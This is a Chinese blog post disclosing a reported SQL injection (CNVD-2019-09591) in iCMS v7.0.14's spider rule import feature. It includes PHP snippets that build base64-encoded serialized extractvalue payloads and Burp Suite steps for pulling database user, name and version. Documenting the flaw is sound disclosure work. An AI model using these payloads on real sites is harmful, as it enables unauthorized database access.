iCMS的spider_rule.admincp.php存在报错SQL注入

该漏洞CNVD-ID: CNVD-2019-09591
漏洞提交CNVD后,待CNVD公示才发出本文。
测试环境:
程序版本:v7.0.14
Windows + firefox + burpsuite + apache2 + PHP5.6.27(phpStudy集成环境)
iCMS官网:https://www.icmsdev.com/

一、漏洞分析

/app/spider/spider_rule.admincp.php 传入文件的方式可被利用以绕过全局过滤导致SQL注入。
传入文件内容是序列化的,并经过base64编码,所以可绕过全局过滤。
在这里插入图片描述这里组装SQL语句。
/iPHP/core/iDB.class.php
在这里插入图片描述这里执行SQL语句。
/iPHP/core/DB/Mysqli.class.php
在这里插入图片描述

二、漏洞测试

1、 安装 http://localhost/install/index.php
2、 新建一个.php文件,写入如下代码:

<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>

在这里插入图片描述运行这段代码将得到一段payload,用于BurpSuite里执行。

3、 登录管理后台,选择“采集管理”:
在这里插入图片描述4、先选择“采集规则”, 再选择“导入规则”:
在这里插入图片描述在桌面新建一个.txt文件,写入任意内容。打开burpsuite拦截后选择“要导入的规则”,导入该.txt文件。
在这里插入图片描述5、burpsuite拦截,上面第二步得到的payload复制到这里;发到repeater
在这里插入图片描述6、repeater里分别获取user(), database(), version(), user()
在这里插入图片描述

<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>

在这里插入图片描述

<?php 
$str = array("name" => "aa1' or (select 1 from icms_user where uid=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)))) or '");
$sstr = serialize($str);
$to64 = base64_encode($sstr);
echo $to64;
?>

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值